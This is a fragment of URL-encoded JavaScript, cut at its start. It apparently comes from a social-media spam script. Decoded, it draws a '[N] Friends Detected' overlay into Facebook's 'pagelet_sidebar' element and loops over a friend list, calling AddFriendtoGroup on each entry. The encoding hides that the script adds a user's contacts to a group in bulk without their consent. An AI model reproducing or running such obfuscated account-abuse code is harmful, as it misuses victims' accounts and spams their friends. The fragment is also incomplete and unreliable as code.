4%6F%70%3A%31%30%30%70%78%3B%77%69%64%74%68%3A%35%30%30%70%78%3B%7A%2D%69%6E%64%65%78%3A%39%39%39%39%3B%66%6F%6E%74%2D%73%69%7A%65%3A%31%34%70%78%3B%74%65%78%74%2D%61%6C%69%67%6E%3A%63%65%6E%74%65%72%3B%70%61%64%64%69%6E%67%3A%31%35%70%78%3B%62%6F%78%2D%73%68%61%64%6F%77%3A%30%70%74%20%31%70%78%20%30%70%74%20%72%67%62%61%28%30%2C%30%2C%30%2C%30%2E%31%29%3B%62%6F%72%64%65%72%2D%72%61%64%69%75%73%3A%33%70%78%3B%62%6F%72%64%65%72%3A%31%70%78%20%73%6F%6C%69%64%20%72%67%62%61%28%32%30%30%2C%32%30%30%2C%35%30%2C%30%2E%32%29%3B%62%61%63%6B%67%72%6F%75%6E%64%2D%63%6F%6C%6F%72%3A%72%67%62%61%28%32%35%35%2C%32%35%35%2C%32%35%35%2C%30%2E%39%29%3B%63%6F%6C%6F%72%3A%23%30%30%30%30%30%30%27%3E%22%3B%0A%64%69%73%70%6C%61%79%20%2B%3D%20%22%3C%64%69%76%20%73%74%79%6C%65%3D%27%70%61%64%64%69%6E%67%2D%62%6F%74%74%6F%6D%3A%31%30%70%78%3B%66%6F%6E%74%2D%73%69%7A%65%3A%32%30%70%78%3B%27%3E%22%20%2B%20%54%69%74%6C%65%20%2B%20%22%3C%2F%64%69%76%3E%22%3B%0A%64%69%73%70%6C%61%79%20%2B%3D%20%61%72%72%2E%6C%65%6E%67%74%68%20%2B%20%22%20%46%72%69%65%6E%64%73%20%44%65%74%65%63%74%65%64%22%3B%0A%64%69%73%70%6C%61%79%20%2B%3D%20%22%3C%2F%64%69%76%3E%22%3B%0A%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%42%79%49%64%28%22%70%61%67%65%6C%65%74%5F%73%69%64%65%62%61%72%22%29%2E%69%6E%6E%65%72%48%54%4D%4C%20%3D%20%64%69%73%70%6C%61%79%3B%0A%41%64%64%46%72%69%65%6E%64%74%6F%47%72%6F%75%70%28%61%72%72%5B%69%5D%29%0A%7D%29%3B